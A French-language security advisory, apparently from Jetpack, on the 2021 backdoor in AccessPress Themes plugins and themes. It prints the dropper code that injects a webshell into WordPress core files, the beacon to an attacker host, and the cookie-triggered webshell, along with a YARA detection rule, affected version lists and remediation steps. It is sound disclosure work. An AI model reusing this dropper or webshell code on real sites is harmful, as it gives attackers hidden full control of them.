Mise à jour du 1er février – La section « Thèmes concernés » a été modifiée pour indiquer que de nouvelles versions des thèmes commencent à apparaître.
Lors de l’analyse d’un site compromis, nous avons découvert du code suspect dans un thème d’AccessPress Themes (également appelé Access Keys), un éditeur proposant un grand nombre de thèmes et d’extensions populaires. Après une analyse plus approfondie, nous avons constaté que tous les thèmes et la plupart des extensions de cet éditeur contenaient ce code suspect, mais uniquement lorsqu’ils étaient téléchargés depuis son propre site Web. Les mêmes extensions ne présentaient aucun problème lorsqu’elles étaient téléchargées ou installées directement depuis le répertoire WordPress.org.
Compte tenu de la manière dont les extensions ont été compromises, nous avons soupçonné qu’un attaquant externe avait piraté le site Web d’AccessPress Themes dans le but d’utiliser ses extensions pour infecter d’autres sites.
Nous avons immédiatement contacté l’éditeur, mais nous n’avons reçu aucune réponse dans un premier temps. Après avoir transmis le problème à l’équipe des extensions de WordPress.org, nos soupçons ont été confirmés. Les sites Web d’AccessPress Themes ont été piratés au cours de la première moitié de septembre 2021, et les extensions disponibles au téléchargement sur leur site ont été infectées par une porte dérobée.
Une fois que nous avons établi un moyen de communiquer avec l’éditeur, nous lui avons transmis les résultats détaillés de notre analyse. Il a immédiatement retiré les extensions concernées de son site Web.
La plupart des extensions ont depuis été mises à jour, et les versions connues comme étant saines sont listées vers le bas de cet article. En revanche, les thèmes concernés n’ont pas été mis à jour et sont retirés du répertoire de thèmes de WordPress.org. Si l’un des thèmes listés vers le bas de cet article est installé sur votre site, nous vous recommandons de migrer vers un nouveau thème dès que possible.
Cette divulgation concerne un grand nombre d’extensions, à la fois des plugins et des thèmes. Passez à la liste ci-dessous ou poursuivez votre lecture pour connaître les détails.
Détails :
Éditeur : AccessPress Themes
URL de l’éditeur : https://accesspressthemes.com
Extensions : plusieurs
Thèmes : plusieurs
CVE : CVE-2021-24867
Analyse :
Les extensions infectées contenaient un programme d’installation furtif pour un webshell qui donne aux attaquants un accès complet aux sites infectés. Ce programme se trouve dans le fichier inital.php situé dans le répertoire principal de l’extension ou du thème. Lorsqu’il est exécuté, il installe un webshell utilisant des cookies dans wp-includes/vars.php. Le shell est installé sous la forme d’une fonction juste devant la fonction wp_is_mobile() nommée wp_is_mobile_fix(). Cela vise vraisemblablement à ne pas éveiller les soupçons de toute personne faisant défiler rapidement le fichier vars.php.
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
Une fois la shell installée, le programme d’installation furtif contacte son serveur en chargeant une image distante depuis l’URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg avec l’URL du site infecté et des informations sur le thème utilisé comme paramètres de requête. Enfin, il supprime le fichier source du programme d’installation furtif pour éviter toute détection une fois la requête exécutée.
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
La webshell elle-même se déclenche si la chaîne d’agent utilisateur de la requête est wp_is_mobile et que la requête contient huit cookies spécifiques. Elle reconstitue et exécute une charge utile à partir de ces cookies fournis.
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
Nous avons également observé une autre variante, probablement plus ancienne, de la porte dérobée directement intégrée au fichier functions.php du thème ou de l’extension. Cette variante utilise le même mécanisme pour reconstituer la charge utile à partir de huit cookies, mais ne filtre pas les requêtes selon leur chaîne d’agent utilisateur.
Pour garantir l’exécution du programme d’installation furtif, le fichier principal de l’extension (pour les extensions) ou le fichier functions.php (pour les thèmes) ont été modifiés avec du code qui exécute le fichier inital.php s’il existe.
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
Un détail frappant concernant les horodatages des extensions compromises est qu’ils datent tous du début du mois de septembre. La majorité date des 6 et 7 septembre, et quelques fichiers des 2 et 3 septembre. De même, pour les thèmes, tous ont été compromis le 22 septembre, à l’exception de accessbuddy le 9 septembre.
Par ailleurs, les horodatages des archives ZIP sont très uniformes : presque tous les fichiers portent exactement le même horodatage, à l’exception du fichier principal de l’extension modifié et du fichier d’installation furtif ajouté, horodaté quelques minutes plus tard (généralement 2 à 5 minutes après les autres fichiers de l’archive).
Toutefois, en examinant les horodatages des fichiers ZIP téléchargés depuis le répertoire wordpress.org, nous constatons une répartition des horodatages correspondant au moment où l’extension ou le thème a effectivement été mis à jour. De plus, la répartition des horodatages au sein de l’archive est moins uniforme et reflète quels fichiers ont été mis à jour lors de la publication et lesquels sont restés inchangés depuis une version antérieure.
Cela nous laisse penser que les fichiers du site Web d’AccessPress Themes ont été modifiés intentionnellement et de manière coordonnée après leur publication initiale. La compromission semble s’être déroulée en deux étapes : une pour les extensions, puis une autre pour les thèmes. Chacune a été précédée de quelques tentatives, probablement destinées à affiner le processus.
Notre analyse a uniquement porté sur les thèmes et extensions disponibles gratuitement sur le site Web d’AccessPress Themes. Nous supposons que leurs thèmes professionnels payants sont concernés de la même manière, mais nous ne les avons pas examinés. Si vous en utilisez un, veuillez contacter le support d’AccessPress Themes pour obtenir des conseils supplémentaires.
Thèmes concernés
Si l’un des thèmes suivants, dont le numéro de version figure dans la colonne Défectueuse, est installé sur votre site, nous vous recommandons vivement de passer immédiatement à la version indiquée dans la colonne Saine. Veuillez noter que les thèmes installés via WordPress.org sont sains, même s’ils figurent dans la colonne Défectueuse. Nous vous recommandons néanmoins de passer à la version reconnue comme saine, par mesure de précaution.
Les thèmes ne comportant aucun numéro de version dans la colonne Sain n’ont pas encore été mis à niveau, et nous vous recommandons de les remplacer par un autre thème si possible.
| Identifiant du thème | Mauvais | Sain |
|---|---|---|
| accessbuddy | 1.0.0 | |
| accesspress-basic | 3.2.1 | 3.2.2 |
| accesspress-lite | 2.92 | 2.93 |
| accesspress-mag | 2.6.5 | 2.6.6 |
| accesspress-parallax | 4.5 | 4.6 |
| accesspress-ray | 1.19.5 | |
| accesspress-root | 2.5 | 2.6.0 |
| accesspress-staple | 1.9.1 | |
| accesspress-store | 2.4.9 | 2.5.0 |
| agency-lite | 1.1.6 | 1.1.7 |
| aplite | 1.0.6 | |
| bingle | 1.0.4 | 1.0.5 |
| bloger | 1.2.6 | 1.2.7 |
| construction-lite | 1.2.5 | 1.2.6 |
| doko | 1.0.27 | 1.1.0 |
| enlighten | 1.3.5 | 1.3.6 |
| fashstore | 1.2.1 | |
| fotography | 2.4.0 | 2.4.1 |
| gaga-corp | 1.0.8 | |
| gaga-lite | 1.4.2 | |
| one-paze | 2.2.8 | |
| parallax-blog | 3.1.1574941215 | |
| parallaxsome | 1.3.6 | 1.3.7 |
| punte | 1.1.2 | 1.1.3 |
| revolve | 1.3.1 | |
| ripple | 1.2.0 | 1.2.1 |
| scrollme | 2.1.0 | |
| sportsmag | 1.2.1 | |
| storevilla | 1.4.1 | 1.4.2 |
| swing-lite | 1.1.9 | 1.2.0 |
| the-launcher | 1.3.2 | 1.3.3 |
| the-monday | 1.4.1 | |
| uncode-lite | 1.3.1 | |
| unicon-lite | 1.2.6 | 1.2.7 |
| vmag | 1.2.7 | 1.2.8 |
| vmagazine-lite | 1.3.5 | 1.3.7 |
| vmagazine-news | 1.0.5 | 1.0.6 |
| zigcy-baby | 1.0.6 | 1.0.7 |
| zigcy-cosmetics | 1.0.5 | 1.0.6 |
| zigcy-lite | 2.0.9 | 2.1.0 |
Extensions concernées
Si l’une des extensions suivantes, dont le numéro de version figure dans la colonne À risque, est installée sur votre site, nous vous recommandons vivement de la mettre immédiatement à jour vers la version indiquée dans la colonne Sûres. Il convient de noter que les extensions installées via WordPress.org sont sûres, même si elles figurent dans la colonne À risque. Nous vous recommandons néanmoins de mettre à jour vers la version reconnue comme sûre, par précaution.
Les extensions ne présentant aucun numéro de version dans la colonne Propres n’ont pas encore été mises à niveau, et nous vous recommandons de les remplacer par d’autres extensions dans la mesure du possible.
| Identifiant de l’extension | Mauvaises | Propres | Remarque |
|---|---|---|---|
| accesspress-anonymous-post | 2.8.0 | 2.8.1 | 1 |
| accesspress-custom-css | 2.0.1 | 2.0.2 | |
| accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
| accesspress-facebook-auto-post | 2.1.3 | 2.1.4 | |
| accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
| accesspress-pinterest | 3.3.3 | 3.3.4 | |
| accesspress-social-counter | 1.9.1 | 1.9.2 | |
| accesspress-social-icons | 1.8.2 | 1.8.3 | |
| accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
| accesspress-social-share | 4.5.5 | 4.5.6 | |
| accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
| accesspress-twitter-feed | 1.6.7 | 1.6.8 | |
| ak-menu-icons-lite | 1.0.9 | ||
| ap-companion | 1.0.7 | 2 | |
| ap-contact-form | 1.0.6 | 1.0.7 | |
| ap-custom-testimonial | 1.4.6 | 1.4.7 | |
| ap-mega-menu | 3.0.5 | 3.0.6 | |
| ap-pricing-tables-lite | 1.1.2 | 1.1.3 | |
| apex-notification-bar-lite | 2.0.4 | 2.0.5 | |
| cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
| comments-disable-accesspress | 1.0.7 | 1.0.8 | |
| easy-side-tab-cta | 1.0.7 | 1.0.8 | |
| everest-admin-theme-lite | 1.0.7 | 1.0.8 | |
| everest-coming-soon-lite | 1.1.0 | 1.1.1 | |
| everest-comment-rating-lite | 2.0.4 | 2.0.5 | |
| everest-counter-lite | 2.0.7 | 2.0.8 | |
| everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
| everest-gallery-lite | 1.0.8 | 1.0.9 | |
| everest-google-places-reviews-lite | 1.0.9 | 2.0.0 | |
| everest-review-lite | 1.0.7 | ||
| everest-tab-lite | 2.0.3 | 2.0.4 | |
| everest-timeline-lite | 1.1.1 | 1.1.2 | |
| inline-call-to-action-builder-lite | 1.1.0 | 1.1.1 | |
| product-slider-for-woocommerce-lite | 1.1.5 | 1.1.6 | |
| smart-logo-showcase-lite | 1.1.7 | 1.1.8 | |
| smart-scroll-posts | 2.0.8 | 2.0.9 | |
| smart-scroll-to-top-lite | 1.0.3 | 1.0.4 | |
| total-gdpr-compliance-lite | 1.0.4 | 1.0.5 | |
| total-team-lite | 1.1.1 | 1.1.2 | |
| ultimate-author-box-lite | 1.1.2 | 1.1.3 | |
| ultimate-form-builder-lite | 1.5.0 | 1.5.1 | |
| woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
| wp-1-slider | 1.2.9 | 1.3.0 | |
| wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
| wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
| wp-cookie-user-info | 1.0.7 | 1.0.8 | |
| wp-facebook-review-showcase-lite | 1.0.9 | ||
| wp-fb-messenger-button-lite | 2.0.7 | ||
| wp-floating-menu | 1.4.4 | 1.4.5 | |
| wp-media-manager-lite | 1.1.2 | 1.1.3 | |
| wp-popup-banners | 1.2.3 | 1.2.4 | |
| wp-popup-lite | 1.0.8 | ||
| wp-product-gallery-lite | 1.1.1 | 1.1.3 |
Remarques :
- Cette extension n’a pas été mise à jour, mais est considérée comme saine, car la version disponible sur le site d’AccessPress Themes était une version plus ancienne.
- Cette extension n’a pas été mise à jour, mais est considérée comme saine, car elle n’était pas disponible à l’origine sur le site d’AccessPress Themes.
IOC
La règle YARA suivante peut être utilisée pour vérifier si le site a été infecté. Elle détectera à la fois la partie de l’infection correspondant au dropper et le webshell installé.
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
Recommandations
Si des thèmes ou des extensions sont installés directement depuis AccessPress Themes ou depuis un autre endroit que WordPress.org, vous devez immédiatement passer à une version sûre, comme indiqué dans les tableaux ci-dessus. Si aucune version sûre n’est disponible, remplacez-les par la dernière version disponible sur WordPress.org.
Veuillez noter que cette opération ne supprime pas la porte dérobée de votre système. Vous devez donc également réinstaller une version saine de WordPress afin d’annuler les modifications apportées aux fichiers du cœur lors de l’installation de la porte dérobée.
Si vous utilisez un thème payant ou une extension payante d’AccessPress Themes/Access Keys, nous vous conseillons de contacter leur service d’assistance pour obtenir de l’aide.
Nous vous recommandons vivement d’avoir un plan de sécurité pour votre site qui comprend une analyse des fichiers malveillants et des sauvegardes. Jetpack Security est une excellente option de sécurité WordPress pour garantir la sécurité de votre site et de vos visiteurs. Jetpack Scan a détecté toutes les variantes de cette porte dérobée et du dropper depuis le 30 septembre.
Chronologie
2021-09-22 : L’équipe de Jetpack Scan découvre le dropper et la porte dérobée dans le thème FotoGraphy et tente de contacter le fournisseur au sujet de cette première découverte.
2021-09-27 : Confirmation de la présence du dropper et de la porte dérobée dans toutes les extensions et tous les thèmes gratuits actuels téléchargés depuis le site du fournisseur.
2021-09-28 : Confirmer que le dropper et la porte dérobée ne sont pas présents dans les téléchargements effectués depuis WordPress.org
2021-09-29 : Nouvelle tentative de contacter le fournisseur, avec des informations sur les nouvelles découvertes.
2021-10-14 : Escalade auprès de l’équipe des extensions de WordPress afin de tenter d’entrer en contact avec le fournisseur.
2021-10-15 : Les extensions compromises sont supprimées du site du fournisseur.
2021-10-16 : Réponse du fournisseur
2022-01-17 : La plupart des extensions ont été mises à niveau vers de nouvelles versions ; les thèmes ont été retirés de WordPress.org.
2022-01-18 : Divulgation publique



